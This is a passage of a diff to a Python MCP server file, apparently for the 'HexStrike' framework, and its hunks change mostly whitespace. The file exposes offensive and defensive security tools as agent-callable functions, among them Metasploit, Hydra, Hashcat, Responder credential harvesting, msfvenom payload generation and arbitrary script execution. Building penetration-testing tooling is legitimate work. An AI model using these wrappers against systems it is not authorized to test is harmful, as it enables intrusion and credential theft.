enhanced telemetry """ @@ -301,14 +301,14 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: "additional_args": additional_args } logger.info(f"{HexStrikeColors.FIRE_RED}๐Ÿ” Initiating Nmap scan: {target}{HexStrikeColors.RESET}") - + # Use enhanced error handling by default data["use_recovery"] = True result = hexstrike_client.safe_post("api/tools/nmap", data) - + if result.get("success"): logger.info(f"{HexStrikeColors.SUCCESS}โœ… Nmap scan completed successfully for {target}{HexStrikeColors.RESET}") - + # Check for recovery information if result.get("recovery_info", {}).get("recovery_applied"): recovery_info = result["recovery_info"] @@ -316,24 +316,24 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: logger.info(f"{HexStrikeColors.HIGHLIGHT_YELLOW} Recovery applied: {attempts} attempts made {HexStrikeColors.RESET}") else: logger.error(f"{HexStrikeColors.ERROR}โŒ Nmap scan failed for {target}{HexStrikeColors.RESET}") - + # Check for human escalation if result.get("human_escalation"): logger.error(f"{HexStrikeColors.CRITICAL} HUMAN ESCALATION REQUIRED {HexStrikeColors.RESET}") - + return result @mcp.tool() def gobuster_scan(url: str, mode: str = "dir", wordlist: str = "/usr/share/wordlists/dirb/common.txt", additional_args: str = "") -> Dict[str, Any]: """ Execute Gobuster to find directories, DNS subdomains, or virtual hosts with enhanced logging. - + Args: url: The target URL mode: Scan mode (dir, dns, fuzz, vhost) wordlist: Path to wordlist file additional_args: Additional Gobuster arguments - + Returns: Scan results with enhanced telemetry """ @@ -344,14 +344,14 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: "additional_args": additional_args } logger.info(f"{HexStrikeColors.CRIMSON}๐Ÿ“ Starting Gobuster {mode} scan: {url}{HexStrikeColors.RESET}") - + # Use enhanced error handling by default data["use_recovery"] = True result = hexstrike_client.safe_post("api/tools/gobuster", data) - + if result.get("success"): logger.info(f"{HexStrikeColors.SUCCESS}โœ… Gobuster scan completed for {url}{HexStrikeColors.RESET}") - + # Check for recovery information if result.get("recovery_info", {}).get("recovery_applied"): recovery_info = result["recovery_info"] @@ -359,26 +359,26 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: logger.info(f"{HexStrikeColors.HIGHLIGHT_YELLOW} Recovery applied: {attempts} attempts made {HexStrikeColors.RESET}") else: logger.error(f"{HexStrikeColors.ERROR}โŒ Gobuster scan failed for {url}{HexStrikeColors.RESET}") - + # Check for alternative tool suggestion if result.get("alternative_tool_suggested"): alt_tool = result["alternative_tool_suggested"] logger.info(f"{HexStrikeColors.HIGHLIGHT_BLUE} Alternative tool suggested: {alt_tool} {HexStrikeColors.RESET}") - + return result @mcp.tool() def nuclei_scan(target: str, severity: str = "", tags: str = "", template: str = "", additional_args: str = "") -> Dict[str, Any]: """ Execute Nuclei vulnerability scanner with enhanced logging and real-time progress. - + Args: target: The target URL or IP severity: Filter by severity (critical,high,medium,low,info) tags: Filter by tags (e.g. cve,rce,lfi) template: Custom template path additional_args: Additional Nuclei arguments - + Returns: Scan results with discovered vulnerabilities and telemetry """ @@ -390,20 +390,20 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: "additional_args": additional_args } logger.info(f"{HexStrikeColors.BLOOD_RED}๐Ÿ”ฌ Starting Nuclei vulnerability scan: {target}{HexStrikeColors.RESET}") - + # Use enhanced error handling by default data["use_recovery"] = True result = hexstrike_client.safe_post("api/tools/nuclei", data) - + if result.get("success"): logger.info(f"{HexStrikeColors.SUCCESS}โœ… Nuclei scan completed for {target}{HexStrikeColors.RESET}") - + # Enhanced vulnerability reporting if result.get("stdout") and "CRITICAL" in result["stdout"]: logger.warning(f"{HexStrikeColors.CRITICAL} CRITICAL vulnerabilities detected! {HexStrikeColors.RESET}") elif result.get("stdout") and "HIGH" in result["stdout"]: logger.warning(f"{HexStrikeColors.FIRE_RED} HIGH severity vulnerabilities found! {HexStrikeColors.RESET}") - + # Check for recovery information if result.get("recovery_info", {}).get("recovery_applied"): recovery_info = result["recovery_info"] @@ -411,18 +411,18 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: logger.info(f"{HexStrikeColors.HIGHLIGHT_YELLOW} Recovery applied: {attempts} attempts made {HexStrikeColors.RESET}") else: logger.error(f"{HexStrikeColors.ERROR}โŒ Nuclei scan failed for {target}{HexStrikeColors.RESET}") - + return result # ============================================================================ # CLOUD SECURITY TOOLS # ============================================================================ - + @mcp.tool() def prowler_scan(provider: str = "aws", profile: str = "default", region: str = "", checks: str = "", output_dir: str = "/tmp/prowler_output", output_format: str = "json", additional_args: str = "") -> Dict[str, Any]: """ Execute Prowler for comprehensive cloud security assessment. - + Args: provider: Cloud provider (aws, azure, gcp) profile: AWS profile to use @@ -431,7 +431,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: output_dir: Directory to save results output_format: Output format (json, csv, html) additional_args: Additional Prowler arguments - + Returns: Cloud security assessment results """ @@ -456,7 +456,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def trivy_scan(scan_type: str = "image", target: str = "", output_format: str = "json", severity: str = "", output_file: str = "", additional_args: str = "") -> Dict[str, Any]: """ Execute Trivy for container and filesystem vulnerability scanning. - + Args: scan_type: Type of scan (image, fs, repo, config) target: Target to scan (image name, directory, repository) @@ -464,7 +464,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: severity: Severity filter (UNKNOWN,LOW,MEDIUM,HIGH,CRITICAL) output_file: File to save results additional_args: Additional Trivy arguments - + Returns: Vulnerability scan results """ @@ -489,12 +489,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: # ============================================================================ @mcp.tool() - def scout_suite_assessment(provider: str = "aws", profile: str = "default", - report_dir: str = "/tmp/scout-suite", services: str = "", + def scout_suite_assessment(provider: str = "aws", profile: str = "default", + report_dir: str = "/tmp/scout-suite", services: str = "", exceptions: str = "", additional_args: str = "") -> Dict[str, Any]: """ Execute Scout Suite for multi-cloud security assessment. - + Args: provider: Cloud provider (aws, azure, gcp, aliyun, oci) profile: AWS profile to use @@ -502,7 +502,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: services: Specific services to assess exceptions: Exceptions file path additional_args: Additional Scout Suite arguments - + Returns: Multi-cloud security assessment results """ @@ -523,17 +523,17 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: return result @mcp.tool() - def cloudmapper_analysis(action: str = "collect", account: str = "", + def cloudmapper_analysis(action: str = "collect", account: str = "", config: str = "config.json", additional_args: str = "") -> Dict[str, Any]: """ Execute CloudMapper for AWS network visualization and security analysis. - + Args: action: Action to perform (collect, prepare, webserver, find_admins, etc.) account: AWS account to analyze config: Configuration file path additional_args: Additional CloudMapper arguments - + Returns: AWS network visualization and security analysis results """ @@ -552,19 +552,19 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: return result @mcp.tool() - def pacu_exploitation(session_name: str = "hexstrike_session", modules: str = "", - data_services: str = "", regions: str = "", + def pacu_exploitation(session_name: str = "hexstrike_session", modules: str = "", + data_services: str = "", regions: str = "", additional_args: str = "") -> Dict[str, Any]: """ Execute Pacu for AWS exploitation framework. - + Args: session_name: Pacu session name modules: Comma-separated list of modules to run data_services: Data services to enumerate regions: AWS regions to target additional_args: Additional Pacu arguments - + Returns: AWS exploitation framework results """ @@ -584,12 +584,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: return result @mcp.tool() - def kube_hunter_scan(target: str = "", remote: str = "", cidr: str = "", - interface: str = "", active: bool = False, report: str = "json", + def kube_hunter_scan(target: str = "", remote: str = "", cidr: str = "", + interface: str = "", active: bool = False, report: str = "json", additional_args: str = "") -> Dict[str, Any]: """ Execute kube-hunter for Kubernetes penetration testing. - + Args: target: Specific target to scan remote: Remote target to scan @@ -598,7 +598,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: active: Enable active hunting (potentially harmful) report: Report format (json, yaml) additional_args: Additional kube-hunter arguments - + Returns: Kubernetes penetration testing results """ @@ -620,18 +620,18 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: return result @mcp.tool() - def kube_bench_cis(targets: str = "", version: str = "", config_dir: str = "", + def kube_bench_cis(targets: str = "", version: str = "", config_dir: str = "", output_format: str = "json", additional_args: str = "") -> Dict[str, Any]: """ Execute kube-bench for CIS Kubernetes benchmark checks. - + Args: targets: Targets to check (master, node, etcd, policies) version: Kubernetes version config_dir: Configuration directory output_format: Output format (json, yaml) additional_args: Additional kube-bench arguments - + Returns: CIS Kubernetes benchmark results """ @@ -651,18 +651,18 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: return result @mcp.tool() - def docker_bench_security_scan(checks: str = "", exclude: str = "", - output_file: str = "/tmp/docker-bench-results.json", + def docker_bench_security_scan(checks: str = "", exclude: str = "", + output_file: str = "/tmp/docker-bench-results.json", additional_args: str = "") -> Dict[str, Any]: """ Execute Docker Bench for Security for Docker security assessment. - + Args: checks: Specific checks to run exclude: Checks to exclude output_file: Output file path additional_args: Additional Docker Bench arguments - + Returns: Docker security assessment results """ @@ -681,17 +681,17 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: return result @mcp.tool() - def clair_vulnerability_scan(image: str, config: str = "/etc/clair/config.yaml", + def clair_vulnerability_scan(image: str, config: str = "/etc/clair/config.yaml", output_format: str = "json", additional_args: str = "") -> Dict[str, Any]: """ Execute Clair for container vulnerability analysis. - + Args: image: Container image to scan config: Clair configuration file output_format: Output format (json, yaml) additional_args: Additional Clair arguments - + Returns: Container vulnerability analysis results """ @@ -710,19 +710,19 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: return result @mcp.tool() - def falco_runtime_monitoring(config_file: str = "/etc/falco/falco.yaml", - rules_file: str = "", output_format: str = "json", + def falco_runtime_monitoring(config_file: str = "/etc/falco/falco.yaml", + rules_file: str = "", output_format: str = "json", duration: int = 60, additional_args: str = "") -> Dict[str, Any]: """ Execute Falco for runtime security monitoring. - + Args: config_file: Falco configuration file rules_file: Custom rules file output_format: Output format (json, text) duration: Monitoring duration in seconds additional_args: Additional Falco arguments - + Returns: Runtime security monitoring results """ @@ -742,12 +742,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: return result @mcp.tool() - def checkov_iac_scan(directory: str = ".", framework: str = "", check: str = "", - skip_check: str = "", output_format: str = "json", + def checkov_iac_scan(directory: str = ".", framework: str = "", check: str = "", + skip_check: str = "", output_format: str = "json", additional_args: str = "") -> Dict[str, Any]: """ Execute Checkov for infrastructure as code security scanning. - + Args: directory: Directory to scan framework: Framework to scan (terraform, cloudformation, kubernetes, etc.) @@ -755,7 +755,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: skip_check: Check to skip output_format: Output format (json, yaml, cli) additional_args: Additional Checkov arguments - + Returns: Infrastructure as code security scanning results """ @@ -776,12 +776,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: return result @mcp.tool() - def terrascan_iac_scan(scan_type: str = "all", iac_dir: str = ".", - policy_type: str = "", output_format: str = "json", + def terrascan_iac_scan(scan_type: str = "all", iac_dir: str = ".", + policy_type: str = "", output_format: str = "json", severity: str = "", additional_args: str = "") -> Dict[str, Any]: """ Execute Terrascan for infrastructure as code security scanning. - + Args: scan_type: Type of scan (all, terraform, k8s, etc.) iac_dir: Infrastructure as code directory @@ -789,7 +789,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: output_format: Output format (json, yaml, xml) severity: Severity filter (high, medium, low) additional_args: Additional Terrascan arguments - + Returns: Infrastructure as code security scanning results """ @@ -812,17 +812,17 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: # ============================================================================ # FILE OPERATIONS & PAYLOAD GENERATION # ============================================================================ - + @mcp.tool() def create_file(filename: str, content: str, binary: bool = False) -> Dict[str, Any]: """ Create a file with specified content on the HexStrike server. - + Args: filename: Name of the file to create content: Content to write to the file binary: Whether the content is binary data - + Returns: File creation results """ @@ -843,12 +843,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def modify_file(filename: str, content: str, append: bool = False) -> Dict[str, Any]: """ Modify an existing file on the HexStrike server. - + Args: filename: Name of the file to modify content: Content to write or append append: Whether to append to the file (True) or overwrite (False) - + Returns: File modification results """ @@ -869,10 +869,10 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def delete_file(filename: str) -> Dict[str, Any]: """ Delete a file or directory on the HexStrike server. - + Args: filename: Name of the file or directory to delete - + Returns: File deletion results """ @@ -891,10 +891,10 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def list_files(directory: str = ".") -> Dict[str, Any]: """ List files in a directory on the HexStrike server. - + Args: directory: Directory to list (relative to server's base directory) - + Returns: Directory listing results """ @@ -911,13 +911,13 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def generate_payload(payload_type: str = "buffer", size: int = 1024, pattern: str = "A", filename: str = "") -> Dict[str, Any]: """ Generate large payloads for testing and exploitation. - + Args: payload_type: Type of payload (buffer, cyclic, random) size: Size of the payload in bytes pattern: Pattern to use for buffer payloads filename: Custom filename (auto-generated if empty) - + Returns: Payload generation results """ @@ -928,7 +928,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: } if filename: data["filename"] = filename - + logger.info(f"๐ŸŽฏ Generating {payload_type} payload: {size} bytes") result = hexstrike_client.safe_post("api/payloads/generate", data) if result.get("success"): @@ -940,16 +940,16 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: # ============================================================================ # PYTHON ENVIRONMENT MANAGEMENT # ============================================================================ - + @mcp.tool() def install_python_package(package: str, env_name: str = "default") -> Dict[str, Any]: """ Install a Python package in a virtual environment on the HexStrike server. - + Args: package: Name of the Python package to install env_name: Name of the virtual environment - + Returns: Package installation results """ @@ -969,12 +969,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def execute_python_script(script: str, env_name: str = "default", filename: str = "") -> Dict[str, Any]: """ Execute a Python script in a virtual environment on the HexStrike server. - + Args: script: Python script content to execute env_name: Name of the virtual environment filename: Custom script filename (auto-generated if empty) - + Returns: Script execution results """ @@ -984,7 +984,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: } if filename: data["filename"] = filename - + logger.info(f"๐Ÿ Executing Python script in env {env_name}") result = hexstrike_client.safe_post("api/python/execute", data) if result.get("success"): @@ -1001,12 +1001,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def dirb_scan(url: str, wordlist: str = "/usr/share/wordlists/dirb/common.txt", additional_args: str = "") -> Dict[str, Any]: """ Execute Dirb for directory brute forcing with enhanced logging. - + Args: url: The target URL wordlist: Path to wordlist file additional_args: Additional Dirb arguments - + Returns: Scan results with enhanced telemetry """ @@ -1027,11 +1027,11 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def nikto_scan(target: str, additional_args: str = "") -> Dict[str, Any]: """ Execute Nikto web vulnerability scanner with enhanced logging. - + Args: target: The target URL or IP additional_args: Additional Nikto arguments - + Returns: Scan results with discovered vulnerabilities """ @@ -1051,12 +1051,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def sqlmap_scan(url: str, data: str = "", additional_args: str = "") -> Dict[str, Any]: """ Execute SQLMap for SQL injection testing with enhanced logging. - + Args: url: The target URL data: POST data for testing additional_args: Additional SQLMap arguments - + Returns: SQL injection test results """ @@ -1077,11 +1077,11 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def metasploit_run(module: str, options: Dict[str, Any] = {}) -> Dict[str, Any]: """ Execute a Metasploit module with enhanced logging. - + Args: module: The Metasploit module to use options: Dictionary of module options - + Returns: Metasploit execution results """ @@ -1109,7 +1109,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: ) -> Dict[str, Any]: """ Execute Hydra for password brute forcing with enhanced logging. - + Args: target: The target IP or hostname service: The service to attack (ssh, ftp, http, etc.) @@ -1118,7 +1118,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: password: Single password to test password_file: File containing passwords additional_args: Additional Hydra arguments - + Returns: Brute force attack results """ @@ -1148,13 +1148,13 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: ) -> Dict[str, Any]: """ Execute John the Ripper for password cracking with enhanced logging. - + Args: hash_file: File containing password hashes wordlist: Wordlist file to use format_type: Hash format type additional_args: Additional John arguments - + Returns: Password cracking results """ @@ -1176,11 +1176,11 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def wpscan_analyze(url: str, additional_args: str = "") -> Dict[str, Any]: """ Execute WPScan for WordPress vulnerability scanning with enhanced logging. - + Args: url: The WordPress site URL additional_args: Additional WPScan arguments - + Returns: WordPress vulnerability scan results """ @@ -1200,11 +1200,11 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def enum4linux_scan(target: str, additional_args: str = "-a") -> Dict[str, Any]: """ Execute Enum4linux for SMB enumeration with enhanced logging. - + Args: target: The target IP address additional_args: Additional Enum4linux arguments - + Returns: SMB enumeration results """ @@ -1224,14 +1224,14 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def ffuf_scan(url: str, wordlist: str = "/usr/share/wordlists/dirb/common.txt", mode: str = "directory", match_codes: str = "200,204,301,302,307,401,403", additional_args: str = "") -> Dict[str, Any]: """ Execute FFuf for web fuzzing with enhanced logging. - + Args: url: The target URL wordlist: Wordlist file to use mode: Fuzzing mode (directory, vhost, parameter) match_codes: HTTP status codes to match additional_args: Additional FFuf arguments - + Returns: Web fuzzing results """ @@ -1254,7 +1254,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def netexec_scan(target: str, protocol: str = "smb", username: str = "", password: str = "", hash_value: str = "", module: str = "", additional_args: str = "") -> Dict[str, Any]: """ Execute NetExec (formerly CrackMapExec) for network enumeration with enhanced logging. - + Args: target: The target IP or network protocol: Protocol to use (smb, ssh, winrm, etc.) @@ -1263,7 +1263,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: hash_value: Hash for pass-the-hash attacks module: NetExec module to execute additional_args: Additional NetExec arguments - + Returns: Network enumeration results """ @@ -1288,12 +1288,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def amass_scan(domain: str, mode: str = "enum", additional_args: str = "") -> Dict[str, Any]: """ Execute Amass for subdomain enumeration with enhanced logging. - + Args: domain: The target domain mode: Amass mode (enum, intel, viz) additional_args: Additional Amass arguments - + Returns: Subdomain enumeration results """ @@ -1314,7 +1314,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def hashcat_crack(hash_file: str, hash_type: str, attack_mode: str = "0", wordlist: str = "/usr/share/wordlists/rockyou.txt", mask: str = "", additional_args: str = "") -> Dict[str, Any]: """ Execute Hashcat for advanced password cracking with enhanced logging. - + Args: hash_file: File containing password hashes hash_type: Hash type number for Hashcat @@ -1322,7 +1322,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: wordlist: Wordlist file for dictionary attacks mask: Mask for mask attacks additional_args: Additional Hashcat arguments - + Returns: Password cracking results """ @@ -1346,13 +1346,13 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def subfinder_scan(domain: str, silent: bool = True, all_sources: bool = False, additional_args: str = "") -> Dict[str, Any]: """ Execute Subfinder for passive subdomain enumeration with enhanced logging. - + Args: domain: The target domain silent: Run in silent mode all_sources: Use all sources additional_args: Additional Subfinder arguments - + Returns: Passive subdomain enumeration results """ @@ -1374,14 +1374,14 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def smbmap_scan(target: str, username: str = "", password: str = "", domain: str = "", additional_args: str = "") -> Dict[str, Any]: """ Execute SMBMap for SMB share enumeration with enhanced logging. - + Args: target: The target IP address username: Username for authentication password: Password for authentication domain: Domain for authentication additional_args: Additional SMBMap arguments - + Returns: SMB share enumeration results """ @@ -1405,12 +1405,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: # ============================================================================ @mcp.tool() - def rustscan_fast_scan(target: str, ports: str = "", ulimit: int = 5000, - batch_size: int = 4500, timeout: int = 1500, + def rustscan_fast_scan(target: str, ports: str = "", ulimit: int = 5000, + batch_size: int = 4500, timeout: int = 1500, scripts: bool = False, additional_args: str = "") -> Dict[str, Any]: """ Execute Rustscan for ultra-fast port scanning with enhanced logging. - + Args: target: The target IP address or hostname ports: Specific ports to scan (e.g., "22,80,443") @@ -1419,7 +1419,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: timeout: Timeout in milliseconds scripts: Run Nmap scripts on discovered ports additional_args: Additional Rustscan arguments - + Returns: Ultra-fast port scanning results """ @@ -1441,12 +1441,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: return result @mcp.tool() - def masscan_high_speed(target: str, ports: str = "1-65535", rate: int = 1000, - interface: str = "", router_mac: str = "", source_ip: str = "", + def masscan_high_speed(target: str, ports: str = "1-65535", rate: int = 1000, + interface: str = "", router_mac: str = "", source_ip: str = "", banners: bool = False, additional_args: str = "") -> Dict[str, Any]: """ Execute Masscan for high-speed Internet-scale port scanning with intelligent rate limiting. - + Args: target: The target IP address or CIDR range ports: Port range to scan @@ -1456,7 +1456,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: source_ip: Source IP address banners: Enable banner grabbing additional_args: Additional Masscan arguments - + Returns: High-speed port scanning results with intelligent rate limiting """ @@ -1479,13 +1479,13 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: return result @mcp.tool() - def nmap_advanced_scan(target: str, scan_type: str = "-sS", ports: str = "", - timing: str = "T4", nse_scripts: str = "", os_detection: bool = False, - version_detection: bool = False, aggressive: bool = False, + def nmap_advanced_scan(target: str, scan_type: str = "-sS", ports: str = "", + timing: str = "T4", nse_scripts: str = "", os_detection: bool = False, + version_detection: bool = False, aggressive: bool = False, stealth: bool = False, additional_args: str = "") -> Dict[str, Any]: """ Execute advanced Nmap scans with custom NSE scripts and optimized timing. - + Args: target: The target IP address or hostname scan_type: Nmap scan type (e.g., -sS, -sT, -sU) @@ -1497,7 +1497,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: aggressive: Enable aggressive scanning stealth: Enable stealth mode additional_args: Additional Nmap arguments - + Returns: Advanced Nmap scanning results with custom NSE scripts """ @@ -1522,13 +1522,13 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: return result @mcp.tool() - def autorecon_comprehensive(target: str, output_dir: str = "/tmp/autorecon", - port_scans: str = "top-100-ports", service_scans: str = "default", - heartbeat: int = 60, timeout: int = 300, + def autorecon_comprehensive(target: str, output_dir: str = "/tmp/autorecon", + port_scans: str = "top-100-ports", service_scans: str = "default", + heartbeat: int = 60, timeout: int = 300, additional_args: str = "") -> Dict[str, Any]: """ Execute AutoRecon for comprehensive automated reconnaissance. - + Args: target: The target IP address or hostname output_dir: Output directory for results @@ -1537,7 +1537,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: heartbeat: Heartbeat interval in seconds timeout: Timeout for individual scans additional_args: Additional AutoRecon arguments - + Returns: Comprehensive automated reconnaissance results """ @@ -1559,13 +1559,13 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: return result @mcp.tool() - def enum4linux_ng_advanced(target: str, username: str = "", password: str = "", - domain: str = "", shares: bool = True, users: bool = True, - groups: bool = True, policy: bool = True, + def enum4linux_ng_advanced(target: str, username: str = "", password: str = "", + domain: str = "", shares: bool = True, users: bool = True, + groups: bool = True, policy: bool = True, additional_args: str = "") -> Dict[str, Any]: """ Execute Enum4linux-ng for advanced SMB enumeration with enhanced logging. - + Args: target: The target IP address username: Username for authentication @@ -1576,7 +1576,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: groups: Enumerate groups policy: Enumerate policies additional_args: Additional Enum4linux-ng arguments - + Returns: Advanced SMB enumeration results """ @@ -1600,12 +1600,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: return result @mcp.tool() - def rpcclient_enumeration(target: str, username: str = "", password: str = "", - domain: str = "", commands: str = "enumdomusers;enumdomgroups;querydominfo", + def rpcclient_enumeration(target: str, username: str = "", password: str = "", + domain: str = "", commands: str = "enumdomusers;enumdomgroups;querydominfo", additional_args: str = "") -> Dict[str, Any]: """ Execute rpcclient for RPC enumeration with enhanced logging. - + Args: target: The target IP address username: Username for authentication @@ -1613,7 +1613,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: domain: Domain for authentication commands: Semicolon-separated RPC commands additional_args: Additional rpcclient arguments - + Returns: RPC enumeration results """ @@ -1634,17 +1634,17 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: return result @mcp.tool() - def nbtscan_netbios(target: str, verbose: bool = False, timeout: int = 2, + def nbtscan_netbios(target: str, verbose: bool = False, timeout: int = 2, additional_args: str = "") -> Dict[str, Any]: """ Execute nbtscan for NetBIOS name scanning with enhanced logging. - + Args: target: The target IP address or range verbose: Enable verbose output timeout: Timeout in seconds additional_args: Additional nbtscan arguments - + Returns: NetBIOS name scanning results """ @@ -1663,11 +1663,11 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: return result @mcp.tool() - def arp_scan_discovery(target: str = "", interface: str = "", local_network: bool = False, + def arp_scan_discovery(target: str = "", interface: str = "", local_network: bool = False, timeout: int = 500, retry: int = 3, additional_args: str = "") -> Dict[str, Any]: """ Execute arp-scan for network discovery with enhanced logging. - + Args: target: The target IP range (if not using local_network) interface: Network interface to use @@ -1675,7 +1675,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: timeout: Timeout in milliseconds retry: Number of retries additional_args: Additional arp-scan arguments - + Returns: Network discovery results via ARP scanning """ @@ -1696,13 +1696,13 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: return result @mcp.tool() - def responder_credential_harvest(interface: str = "eth0", analyze: bool = False, - wpad: bool = True, force_wpad_auth: bool = False, - fingerprint: bool = False, duration: int = 300, + def responder_credential_harvest(interface: str = "eth0", analyze: bool = False, + wpad: bool = True, force_wpad_auth: bool = False, + fingerprint: bool = False, duration: int = 300, additional_args: str = "") -> Dict[str, Any]: """ Execute Responder for credential harvesting with enhanced logging. - + Args: interface: Network interface to use analyze: Analyze mode only @@ -1711,7 +1711,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: fingerprint: Fingerprint mode duration: Duration to run in seconds additional_args: Additional Responder arguments - + Returns: Credential harvesting results """ @@ -1736,13 +1736,13 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def volatility_analyze(memory_file: str, plugin: str, profile: str = "", additional_args: str = "") -> Dict[str, Any]: """ Execute Volatility for memory forensics analysis with enhanced logging. - + Args: memory_file: Path to memory dump file plugin: Volatility plugin to use profile: Memory profile to use additional_args: Additional Volatility arguments - + Returns: Memory forensics analysis results """ @@ -1764,7 +1764,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def msfvenom_generate(payload: str, format_type: str = "", output_file: str = "", encoder: str = "", iterations: str = "", additional_args: str = "") -> Dict[str, Any]: """ Execute MSFVenom for payload generation with enhanced logging. - + Args: payload: The payload to generate format_type: Output format (exe, elf, raw, etc.) @@ -1772,7 +1772,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: encoder: Encoder to use iterations: Number of encoding iterations additional_args: Additional MSFVenom arguments - + Returns: Payload generation results """ @@ -1800,13 +1800,13 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def gdb_analyze(binary: str, commands: str = "", script_file: str = "", additional_args: str = "") -> Dict[str, Any]: """ Execute GDB for binary analysis and debugging with enhanced logging. - + Args: binary: Path to the binary file commands: GDB commands to execute script_file: Path to GDB script file additional_args: Additional GDB arguments - + Returns: Binary analysis results """ @@ -1828,12 +1828,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def radare2_analyze(binary: str, commands: str = "", additional_args: str = "") -> Dict[str, Any]: """ Execute Radare2 for binary analysis and reverse engineering with enhanced logging. - + Args: binary: Path to the binary file commands: Radare2 commands to execute additional_args: Additional Radare2 arguments - + Returns: Binary analysis results """ @@ -1854,12 +1854,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def binwalk_analyze(file_path: str, extract: bool = False, additional_args: str = "") -> Dict[str, Any]: """ Execute Binwalk for firmware and file analysis with enhanced logging. - + Args: file_path: Path to the file to analyze extract: Whether to extract discovered files additional_args: Additional Binwalk arguments - + Returns: Firmware analysis results """ @@ -1880,12 +1880,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: def ropgadget_search(binary: str, gadget_type: str = "", additional_args: str = "") -> Dict[str, Any]: """ Search for ROP gadgets in a binary using ROPgadget with enhanced logging. - + Args: binary: Path to the binary file gadget_type: Type of gadgets to search for additional_args: Additional ROPgadget arguments - + Returns: ROP gadget search results """ @@ -1906,10 +1906,10 @@ 